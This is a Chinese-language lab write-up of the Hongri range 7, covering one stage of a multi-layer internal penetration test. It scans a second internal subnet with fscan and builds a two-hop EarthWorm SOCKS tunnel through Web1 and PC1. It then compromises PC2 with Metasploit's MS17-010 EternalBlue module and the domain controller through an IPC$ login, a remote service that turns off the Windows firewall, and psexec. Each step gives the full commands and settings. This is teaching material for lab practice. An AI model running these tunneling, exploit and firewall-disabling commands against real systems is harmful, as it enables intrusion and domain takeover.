目录
[三、配置ew两层代理(Web1-PC1 12349端口)](#三、配置ew两层代理(Web1-PC1 12349端口))
[三、PC2渗透(MSF 永恒之蓝)](#三、PC2渗透(MSF 永恒之蓝))
[四、域控渗透(MSF PSexec)](#四、域控渗透(MSF PSexec))
[3、MSF psexec](#3、MSF psexec)
本系列文章详细记录红日靶场7的一次从外网到内网的多层渗透测试过程,具体如下列表所示。本篇主要讲解获取内网1的PC1设备的全渗透流程,涉及如下背景色标黄的所有流程。攻击从外网Kali发起,通过Redis未授权获取Web1跳板机权限,随后逐步渗透内网1的Web2服务器和PC1主机。利用PC1的双网卡特性作为跳板,扫描发现内网2中的域控DC和存在永恒之蓝的PC2。通过配置EarthWorm两层代理(Kali-Web1-PC1),攻击者成功穿透到内网2,利用MS17-010控制PC2,并通过PsExec/SMB攻击获取域控权限。
-
Web1 (外网跳板机) - 信息收集 : 通过端口扫描发现并利用 Redis 未授权访问渗透。
-
Web1 (外网跳板机) - 获取权限 : 利用Redis写入ssh公钥实现ssh免密登录获取服务器权限。
-
Web1 (外网跳板机) - 内网探测 : 上传fscan进行内网扫描,发现192.168.52.0/24网段。
-
Web2 (内网1) - 渗透利用 : 通过 Web1 跳板攻击Web2上Laravel CVE-2021-3129。
-
Web2 (内网1) - 权限提升: 在 Web2 的 Docker 容器内利用Find和篡改环境变量提权。
-
Web2 (内网1) - Docker逃逸:在Web2的 Docker容器内利用特权模式写入ssh公钥进行逃逸。
-
Web1 (外网跳板机) - MSF获取权限: 通过向Web1上传木马,MSF获取Web1权限。
-
Web2(内网1)-- MSF获取权限:通过向Web2传木马,proxychains MSF获取Web2权限。
-
Kali(攻击机)-Web1 (外网跳板机) - 反向代理:使用stoway搭建反向代理连通内网1。
-
PC1 (内网1) - 获取权限: 通过 Web1 跳板,利用通达OA渗透工具写入冰蝎木马进行提权。
-
PC1 (内网1) - MSF获取权限: 通过向PC1传木马,MSF set Proxies socks5获取PC1权限。
-
PC1 (内网1) - 内网探测 : 通过向PC1传fscan,探测内网主机PC1和域控DC。
-
Kali-Web1-PC1 (内网1) - 反向代理 : 使用ew工具搭建二层内网反向代理。
-
PC2 (内网2) - 横向移动 : 利用MSF 永恒之蓝获取权限(走二层代理)。
-
PC(内网2) - 信息收集 : 基于MSF收集域信息,定位域控制器,获取域控的账号和密码。
-
DC (内网2) -获取权限 :MSF PSexec SMB获取权限(走二层代理)。
一、网络拓扑
1、网络拓扑
外部网络:
- Kali攻击机:Vmnet8-192.168.59.128
- DMZ跳板机:Web1(Ubuntu):Vmnet8-192.168.59.141 Vmnet2网卡:192.168.52.10
第一层内部网络:
- Web2服务器(Ubuntu):Vmnet2网卡:192.168.52.20),Vmnet14网卡:192.168.93.10
- PC1(内网1):Vmnet2网卡:192.168.52.30(通达OA)Vmnet14网卡:192.168.93.20
第二层内部网络:
- 内网渗透目标PC2(内网2):Vmnet14-192.168.93.40(永恒之蓝)
- 内网渗透目标DC(内网2):Vmnet14-192.168.93.30(Psexec SMB)

2、角色表
本渗透环境包含六个核心角色,具体渗透流程与角色表如下所示。
-
外网突破 :Kali 利用 Web1 的 Redis 未授权 (192.168.52.10) 获得首个立足点。
-
内网1横向移动:以 Web1 为跳板,扫描并攻击内网1 (192.168.52.0/24) 中的 Web2 和 PC1。
-
向内网2渗透 :利用 Web2 或 PC1 的双网卡特性,将其作为新的跳板,访问此前无法直接到达的内网2 (192.168.93.0/24)。
-
内网2攻击 :最终在内网2中,利用 永恒之蓝 攻击 PC2,利用 Psexec/SMB 攻击域控制器 DC,完成对整个网络的控制。
| 节点 | IP地址 | 角色 | 渗透路径中的作用 |
|---|---|---|---|
| Kali攻击机 | 192.168.59.128 (Vmnet8) | 攻击发起源 | 从外网发起攻击的起点 |
| Web1跳板机 | 192.168.59.141 (Vmnet8) 192.168.52.10 (Vmnet2) | 初始入口 Redis未授权访问 | 第一层跳板,连接外网与内网1 |
| Web2服务器 | 192.168.52.20 (Vmnet2) 192.168.93.10 (Vmnet14) | Laravel应用 & Docker 双网卡网关 | 第二层跳板,连接内网1与内网2 |
| PC1 | 192.168.52.30 (Vmnet2) 192.168.93.20 (Vmnet14) | 通达OA系统 双网卡主机 | 辅助跳点,连接内网1与内网2 |
| PC2 (目标) | 192.168.93.40 (Vmnet14) | 存在MS17-010(永恒之蓝) | 内网2核心攻击目标之一 |
| DC (目标) | 192.168.93.30 (Vmnet14) | 域控制器,存在Psexec/SMB | 内网2最终攻击目标 |
二、PC1上传Fscan进行内网2扫描
1、冰蝎向PC1上传fscan
注意将文件目录切换到了C盘,由于PC1为windows系统,向其上传fscan.exe,如下所示。

2、执行内网2扫描
使用FScan工具对192.168.93.0/24内网段进行全自动综合扫描,通过ICMP存活探测、端口服务识别及Web指纹分析,快速发现存活主机、开放端口、系统风险(如MS17-010)和Web应用(如通达OA),为内网渗透提供全面情报支撑。
fscan -h 192.168.93.0/24
发现四台存活主机,其中192.168.93.30和192.168.93.40即为内网渗透目标(因为192.168.93.1为我的物理主机的vmnet14网卡的ip地址,而192.168.93.20为PC1的vmnet14网卡IP地址)。

分析完整报告可知192.168.93.40具有永恒之蓝风险,192.168.93.30为域控,关键信息如下所示。
- 192.168.93.1 (DESKTOP-BKAQPQQ) - 多网卡网关设备
- 192.168.93.20 (PC1) - 双网卡Windows 7主机 通达OA系统 [Windows 7 Professional] MS17-010
- 192.168.93.30 (DC) - 域控制器 (whoamianony.org)
- 192.168.93.40 (PC2) - Windows 7客户端[Windows 7 Professional] MS17-010
完整报告如下所示,该扫描结果显示内网存在严重安全风险,可利用MS17-010进行渗透。
C:/ >fscan -h 192.168.93.0/24
C:/ >
┌──────────────────────────────────────────────┐
│ ___ _ │
│ / _ \ ___ ___ _ __ __ _ ___| | __ │
│ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │
│ / /_\\_____\__ \ (__| | | (_| | (__| < │
│ \____/ |___/\___|_| \__,_|\___|_|\_\ │
└──────────────────────────────────────────────┘
Fscan Version: 2.0.1
[5.4s] 已选择服务扫描模式
[5.4s] 开始信息扫描
[5.4s] CIDR范围: 192.168.93.0-192.168.93.255
[5.4s] generate_ip_range_full
[5.4s] 解析CIDR 192.168.93.0/24 -> IP范围 192.168.93.0-192.168.93.255
[5.4s] 最终有效主机数量: 256
[5.4s] 开始主机扫描
[5.4s] 使用服务插件: activemq, cassandra, elasticsearch, findnet, ftp, imap, kafka, ldap, memcached, modbus, mongodb, ms17010, mssql, mysql, neo4j, netbios, oracle, pop3, postgres, rabbitmq, rdp, redis, rsync, smb, smb2, smbghost, smtp, snmp, ssh, telnet, vnc, webpoc, webtitle
[6.2s] [*] 目标 192.168.93.1 存活 (ICMP)
[6.4s] [*] 目标 192.168.93.20 存活 (ICMP)
[6.5s] [*] 目标 192.168.93.30 存活 (ICMP)
[6.6s] [*] 目标 192.168.93.40 存活 (ICMP)
[12.4s] 存活主机数量: 4
[12.4s] 有效端口数量: 233
[12.9s] [*] 端口开放 192.168.93.20:135
[13.0s] [*] 端口开放 192.168.93.20:110
[13.2s] [*] 端口开放 192.168.93.20:445
[13.2s] [*] 端口开放 192.168.93.20:139
[13.2s] [*] 端口开放 192.168.93.20:5555
[13.2s] [*] 端口开放 192.168.93.1:445
[13.3s] [*] 端口开放 192.168.93.1:139
[13.4s] [*] 端口开放 192.168.93.1:135
[13.6s] [*] 端口开放 192.168.93.1:7680
[13.6s] [*] 端口开放 192.168.93.20:8080
[13.6s] [*] 端口开放 192.168.93.30:88
[13.6s] [*] 端口开放 192.168.93.30:445
[13.6s] [*] 端口开放 192.168.93.30:389
[13.6s] [*] 端口开放 192.168.93.30:139
[13.6s] [*] 端口开放 192.168.93.30:135
[14.5s] [*] 端口开放 192.168.93.40:445
[14.5s] [*] 端口开放 192.168.93.40:139
[14.5s] [*] 端口开放 192.168.93.40:135
[17.5s] 扫描完成, 发现 18 个开放端口
[17.5s] 存活端口数量: 18
[17.5s] 开始扫描
[17.6s] [*] NetInfo 扫描结果
目标主机: 192.168.93.20
主机名: PC1
发现的网络接口:
IPv4地址:
└─ 192.168.52.30
[17.9s] [+] 发现风险 192.168.93.30 [Windows Server 2012 R2 Datacenter 9600] MS17-010
[17.9s] [*] NetInfo 扫描结果
目标主机: 192.168.93.40
主机名: PC2
发现的网络接口:
IPv4地址:
└─ 169.254.129.186
└─ 192.168.93.40
[17.9s] [*] NetInfo 扫描结果
目标主机: 192.168.93.30
主机名: DC
发现的网络接口:
IPv4地址:
└─ 192.168.93.30
[18.1s] [*] NetInfo 扫描结果
目标主机: 192.168.93.1
主机名: DESKTOP-BKAQPQQ
发现的网络接口:
IPv4地址:
└─ 192.168.183.1
└─ 192.168.59.1
└─ 192.168.52.1
└─ 192.168.93.1
└─ 10.192.6.105
[18.1s] POC加载完成: 总共387个,成功387个,失败0个
[18.3s] [+] NetBios 192.168.93.30 DC:DC.whoamianony.org Windows Server 2012 R2 Datacenter 9600
[18.3s] [+] 发现风险 192.168.93.40 [Windows 7 Professional 7601 Service Pack 1] MS17-010
[18.3s] [+] NetBios 192.168.93.40 PC2.whoamianony.org Windows 7 Professional 7601 Service Pack 1
[18.3s] [+] NetBios 192.168.93.1 WORKGROUP\DESKTOP-BKAQPQQ
[18.3s] [+] 发现风险 192.168.93.20 [Windows 7 Professional 7601 Service Pack 1] MS17-010
[19.3s] [*] 网站标题 http://192.168.93.20:8080 状态码:200 长度:10065 标题:通达OA网络智能办公系统
[19.4s] [*] 发现指纹 目标: http://192.168.93.20:8080 指纹: [通达OA]
[3m17s] 扫描已完成: 34/34
三、配置ew两层代理(Web1-PC1 12349端口)
1、原理分析
本部分利用EW工具链,Kali攻击机通过Web1和PC1两台主机,实现了从外网到严格隔离的内网2的三级流量转发,使攻击者能够无缝地访问和攻击内网2中的目标资源。
(1)角色表与配置命令
Kali(监听) ←→ Web1(中继) ←→ PC1(SOCKS5代理) ←→ 内网2目标
| 角色 | 运行命令与角色 | 功能说明 |
|---|---|---|
| 攻击机 (Kali) | ./ew -s lcx_listen -l 12349 -e 1235 (主控端) | 开启两个端口:-l 12349 接收代理请求,-e 1235 与中继通信。 |
| 跳板机 (Web1) | ./ew -s lcx_slave -d 192.168.59.128 -e 1235 -f 192.168.52.30 -g 9999 (中继端) | 连接Kali的1235端口和PC1的9999端口,打通隧道。 |
| 代理服务器 (PC1) | ew_for_Win.exe -s ssocksd -l 9999 ( SOCKS5 服务端) | 在9999端口开启SOCKS5代理服务,可直接访问内网2。 |
(2)二层代理原理
首先在Kali攻击机启动lcx_listen模式监听12349和1235端口;随后通过Web1跳板机运行lcx_slave中继服务连接Kali的1235端口与内网PC1的9999端口;最终由PC1启动ssocksd模式提供SOCKS5代理服务,使Kali能够通过本地12349端口穿透至内网2段(192.168.93.0/24)访问域控等核心目标。

-
工具配置 :攻击者在Kali上配置浏览器或攻击工具的代理为
127.0.0.1:12349。 -
流量入口 :攻击流量进入Kali本地的
12349端口(由EW主控端监听)。 -
一级转发 :EW主控端将流量通过
1235端口加密隧道,发送给Web1上的EW中继。 -
二级转发 :Web1上的EW中继将流量转发至内网PC1 (
192.168.52.30) 的9999端口。 -
代理访问 :PC1上的EW SOCKS5服务接收到请求,以其自身的网络身份(因为它在内网2中) 访问最终目标
192.168.93.30或192.168.93.40。 -
响应返回:目标服务器的响应数据沿原路逆向返回,最终送达攻击者的工具
flowchart LR
subgraph A [攻击机 Kali]
direction TB
A1[攻击工具
MSF/Scanner等]
A2[EW 服务端
监听:12349 & 1235]
A1 -- "通过Socks5
代理至12349端口" --> A2
style A fill:#e1f5fe
endsubgraph B [边界/跳板区] B1[Web1<br>EW 中继] style B fill:#fff3e0 end subgraph C [内网1 VMnet2] C1[PC1<br>EW SOCKS5代理服务] style C fill:#e8f5e9 end subgraph D [内网2 VMnet14] direction TB D1[目标1<br>192.168.93.30] D2[目标2<br>192.168.93.40] D1 --> D2 style D fill:#fce4ec end A2 -- "① 主控连接<br>lcn_listen:1090" --> B1 A2 -- "② 数据传输<br>lcn_tran:1235" --> B1 B1 -- "③ 中继连接<br>至PC1:9999" --> C1 C1 -- "④ 访问内网2<br>目标" --> D
2、Kali配置监听模式
在攻击机Kali启动一个 "主控端" 或 "监听端" ,它创建两个端口,分别用于接收代理请求和与中继端进行数据传输。-l 端口是对内(接收本地工具流量),-e 端口是对外(将流量发送给中继)。这两个端口共同协作,完成了流量从攻击工具到代理隧道的注入。
./ew_for_linux64 -s lcx_listen -l 12349 -e 1235
-
./ew_for_linux64含义:执行 EarthWorm 工具的 Linux 64 位版本的可执行文件。 -
-s lcx_listen-
-s:指定 EW 工具的运行模式。 -
lcx_listen:这是指定的模式,意为 "监听端" 或 "主控端" 。在这个模式下,EW 会在本地监听两个端口 ,一个用于接收来自攻击工具的SOCKS5代理请求(-l),另一个用于与中继端(lcx_slave)建立数据传输通道(-e)。
-
-
-l 12349-
-l:指定 本地监听端口 号。 -
12349:这是 EW 主控端监听的 第一个端口 。它的作用是接收 SOCKS5 代理请求 。攻击者需要将自己的攻击工具(如浏览器、MSF)的代理设置为127.0.0.1:12349,这样所有流量就会发送到这个端口。
-
-
-e 1235-
-e:指定 第二个监听端口 号。 -
1235:这是 EW 主控端监听的 第二个端口 。它的作用是与中继端(lcx_slave)建立连接并进行数据传输 。当lcx_slave中继端连接到此端口后,主控端会把从-l 12349端口收到的代理流量,通过这个-e 1235端口的连接转发出去。
-
3、Web1配置中继模式
在Web1跳板机上运行EarthWorm工具的中继模式,建立从攻击机Kali(192.168.59.128:1235)到内网PC1代理服务器(192.168.52.30:9999)的加密隧道,实现流量双向转发,为后续多层内网穿透提供关键中继枢纽。
./ew_for_linux64 -s lcx_slave -d 192.168.59.128 -e 1235 -f 192.168.52.30 -g 9999
-
./ew_for_linux64:含义:执行 EarthWorm 工具的 Linux 64 位版本的可执行文件。 -
-s lcx_slave-
-s:指定 EW 工具的运行模式。 -
lcx_slave:这是指定的模式,意为 "从端" 或 "中继端"。在这个模式下,EW 会主动连接到两个指定的主机,并在它们之间透明地转发所有流量。它是连接"主控端"和"目标服务端"的桥梁。
-
-
-d 192.168.59.128-
-d:指定要连接的目标主机的 IP 地址。 -
192.168.59.128:这是 攻击机 (Kali) 的 IP 地址。中继端将向这个地址发起连接。
-
-
-e 1235-
-e:指定要连接的目标主机的 端口号。 -
1235:这是攻击机 (Kali) 上 EWlcx_listen模式所监听的 第二个端口 (-e参数指定的端口)。中继端将通过这个端口与攻击机建立数据传输通道。
-
-
-f 192.168.52.30-
-f:指定要连接的 第二个目标主机 的 IP 地址。 -
192.168.52.30:这是内网中的 PC1 的 IP 地址。中继端也将向这个地址发起连接。
-
-
-g 9999-
-g:指定要连接的第二个目标主机的 端口号。 -
9999:这是 PC1 上 EWssocksd模式所监听的 SOCKS5 代理服务端口。中继端将通过这个端口与 PC1 上的 SOCKS5 代理服务建立连接。
-
4、PC1配置socks5服务模式
在 目标机器PC1**(内网1的ip地址:192.168.52.30,内网2的ip地址:192.168.93.20)** 上启动一个 SOCKS5 代理服务器,使其他机器能够通过此代理访问该机器所能到达的网络。
ew_win32.exe -s ssocksd -l 9999&

-
**
ew_win32.exe**执行 EarthWorm 工具的 Windows 32 位版本的可执行文件。 -
-s ssocksd-
-s:指定 EW 工具的运行模式。 -
ssocksd:这是指定的模式,意为 "SOCKS5 服务器" 。在这个模式下,EW 会在本地监听一个指定端口,并将该端口转化为一个标准的 SOCKS5 代理服务。任何能连接到此端口的客户端,都可以使用这个代理进行网络访问。
-
-
-l 9999-
-l:指定 本地监听端口 号。 -
9999:这是 SOCKS5 代理服务监听的端口号。这意味着代理服务将在本机的9999端口上启动,等待来自内网或外部的连接。
-
5、Kali配置socks代理
如果打算通过proxychains访问代理,需要进行配置,具体如下所示。
socks5 0.0.0.0 12349

四、PC2渗透(MSF 永恒之蓝)
1、配置代理
在Metasploit框架中设置全局SOCKS5代理,将所有后续攻击流量通过本地12349端口进行路由转发,实现通过前置代理隧道对内网目标进行渗透测试,确保扫描和渗透利用流量均通过指定代理通道传输。
msfconsole
set Proxies socks5:127.0.0.1:12349

2、探测SMB
利用Metasploit框架的SMB版本检测模块,对目标主机192.168.93.40进行SMB服务扫描,分析协议特征识别目标操作系统版本信息。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.40
run

3、永恒之蓝
通过Metasploit框架利用MS17-010永恒之蓝对内网主机192.168.93.40发起攻击,配置绑定式TCP载荷在目标6666端口建立Meterpreter会话,获取该Windows 7系统的最高控制权限。
use exploit/windows/smb/ms17_010_eternalblue
set rhosts 192.168.93.40
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.93.40
set lport 6666
set ExitOnSession false
exploit




4、获取密码

五、域控渗透(MSF PSexec)
1、探测SMB
利用Metasploit框架的SMB版本检测模块,对目标主机192.168.93.30进行SMB服务扫描,分析协议特征识别目标操作系统版本信息。
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.93.30
run

2、关闭fw
在PC1中通过管理员凭证建立与域控192.168.93.30的IPC$管理通道,远程创建名为unablefirewall的系统服务并配置其启动执行防火墙关闭命令,最终通过启动该服务以SYSTEM权限强制禁用目标所有Windows高级防火墙配置。
攻击流程 :身份验证 → 部署后门服务 → 触发执行
(1)创建unablefirewall服务
PC1执行如下命令(MSF PC1会话shell),通过IPC$共享与域控192.168.93.30建立认证连接。
net use \\192.168.93.30\ipc$ "Whoami2021" /user:"Administrator"
-
命令功能:建立SMB会话连接。
-
参数解析:
-
\\192.168.93.30\ipc$:连接到目标服务器(192.168.93.30)的IPC$(进程间通信)共享。这是一个特殊的隐藏共享,不存储文件,而是用于实现远程管理和进程间通信。 -
"Whoami2021"/"Administrator":使用用户名Administrator和密码Whoami2021进行身份验证。
-
-
攻击作用 :这是攻击的前提步骤。通过提供有效的管理员凭据,与目标建立一条经过身份验证的通信通道。只有在此连接成功后,才能执行后续的远程管理命令。
(2)创建unablefirewall服务
远程创建名为unablefirewall的系统服务,并通过设置服务启动参数执行防火墙关闭命令,旨在消除域控的网络安全防护以便后续横向移动。
sc \\192.168.93.30 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
-
命令功能 :在远程目标上创建一个新的系统服务。
-
参数解析:
-
sc:服务控制管理器命令行工具。 -
\\192.168.93.30:指定对远程目标(192.168.93.30)进行操作。 -
create:子命令,用于创建新服务。 -
unablefirewall:为新服务指定的名称(攻击者任意命名)。 -
binpath=:指定该服务被启动时将执行的命令或程序。 -
"netsh advfirewall set allprofiles state off":这是服务启动时要执行的恶意命令 。netsh是一个强大的网络配置工具,此命令的含义是:"设置所有(域、专用、公用)配置文件的高级防火墙状态为'关闭'。"
-

(3)执行unablefirewall服务
执行sc \\192.168.93.30 start unablefirewall命令,通过服务控制管理器远程启动目标域控192.168.93.30上预设的unablefirewall服务,触发该服务配置的防火墙关闭指令,强制禁用Windows高级防火墙所有配置文件的防护功能,为后续横向移动扫清网络障碍。
sc \\192.168.93.30 start unablefirewall
-
命令功能 :启动之前创建的服务。
-
参数解析:
-
start:子命令,用于启动一个已存在的服务。 -
unablefirewall:指定要启动的服务名称。
-
-
攻击作用 :这是攻击的触发步骤 。当服务被启动时,系统会按照其
binpath的配置,执行netsh advfirewall set allprofiles state off命令。由于服务通常以 SYSTEM 权限 运行,该命令会以最高权限成功执行,从而瞬间禁用目标服务器上的所有Windows防火墙。

3、MSF psexec
配置Metasploit的PsExec模块,使用获取的域管凭证对域控192.168.93.30发起SMB认证,通过绑定式TCP载荷在目标端口9999建立Meterpreter会话,实现在关闭防火墙的域控制器上获取系统控制权。
use exploit/windows/smb/psexec
set rhosts 192.168.93.30
set lport 9999
set SMBUser administrator
set SMBPass Whoami2021
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
set ExitOnSession false
run

